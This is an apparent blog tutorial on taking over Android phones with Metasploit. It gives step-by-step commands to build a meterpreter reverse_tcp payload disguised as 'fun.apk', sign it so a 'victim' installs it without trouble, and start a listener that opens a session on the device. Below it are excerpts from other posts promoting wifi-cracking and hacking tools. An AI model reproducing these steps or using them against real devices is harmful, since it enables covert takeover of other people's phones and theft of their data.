Skip to main content

HOW TO HACK ANDROID USING KALI LINUX 2017 (METASPLOIT)


Getting an access of victim devices (Computer, Android based Phone) is very easy because of reverse exploitation ttacks. A hacker use different types of exploitation’s to gaining access like reverse_tcp, reverse_http and many more with various types of file format (.exe .bat .apk).
A payload which is created using reverse_tcp, When victim download that file and install it then it created a reverse connection victim to attacker. There is may be the victim having firewall or some other defense system, In this attack the firewall looks that the client (victim) to send request to the server (attacker machine) that’s why it allow the connection.
In this tutorial, I am going to show how we can create a android payload and by using that how can we gaining access of victim device.

  • Open terminal:
msfvenom -p android/meterpreter/reverse_tcp set lhost=192.168.0.100 -o fun.apk
Where LHOST is the listening host (In my case this is my private IP as per my lab environment), You can check it by using “ifconfig” command.

Now signing the .apk file, that file doesn’t give any problem while victim trying to install it.

  • For generating the keystore:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 
It will ask to set new password for keystore file.

  • For singing the App:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore fun.apk alias_name

  • Start metasploit and exploit.
# msfconsole
# use exploit/multi/handler
# set payload android/meterpreter/reverse_tcp
# set lhost 192.168.0.101
# exploit -j z
# session -i 1

For better understanding watch Demo given below:
Watch Demo on Our YouTube Channel
Posted by Nagesh ;)

Comments

Popular posts from this blog

The 20 Most Popular Hacking Tools for "Kali Linux"

Top 20 Most Popular Hacking Tools for "Kali Linux". I n the world of cyber security, there are many tools available on the internet, many of them are free and others are paid. 1.  Aircrack-ng Aircrack-ng.org is an 802.11 WEP and WPA-PSK keys breaking program that can resolve keys once enough information regarding the term stolen. It executes the standard FMS attack alongside a few improvements like KoreK breachand additionally the all-new PTW attack, in this way making the assault much quicker contrasted with other WEP splitting devices. Actually, Aircrack-ng is an arrangement of software for evaluating remote systems. 2.  sqlmap sqlmap is an open source infiltration testing device that robotized the procedure of recognizing and abusing SQL infusion imperfections and assuming control of database servers. Full support for  MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB and HSQLDB  data...

Wifite : Hacking Wifi the easy way : Kali Linux.

Wifite While the aircrack-ng suite is a well known name in the wireless hacking , the same can't be said about Wifite. Living in the shade of the greatness of established aircrack-ng suite, Wifite has finally made a mark in a field where aircrack-ng failed. It made wifi hacking everyone's piece of cake. While all its features are not independent (eg. it  hacks WPS using reaver ), it does what it promises, and puts hacking on autopilot. I'm listing some features, before I tell you how to use wifite (which I don't think is necessary at all, as anyone who can understand simple English instructions given by Wifite can use it on his own).   Features Of Wifite Sorts targets by signal strength (in dB); cracks closest access points first Automatically de-authenticates clients of hidden networks to reveal SSIDs Numerous filters to specify exactly what to attack (wep/wpa/both, above certain signal strengths, channels, etc) Customizable settings (timeouts, packets/se...

Install Kali Linux in your PC : Complete guide with images.

Step One:   First we need to download Kali from http://kali.org/downloads/.   Step Two: Download via direct link or torrent.   Step Three: When Kali has finished downloading, open VMware Player and click  Create a new virtual machine.   Step Four:   In the window that opens, select  Installer disc image file (iso)  and browse to the location of and select the Kali Linux ISO file that you just downloaded. Once you have selected the file, click  Next. Step Five : In the next step, select a name for the virtual machine. I’m going to name it  Tutorial Kali  for this tutorial. You also need to select a location for it, I recommend creating a folder called “Virtual machines” in My Documents. Then click  Next . Step Six : Next step, you need to select a maximum size for Kali. I recommend doing at least 30 GB’s as Kali tends to expand over time. After you’ve entered your desired value (no less than ...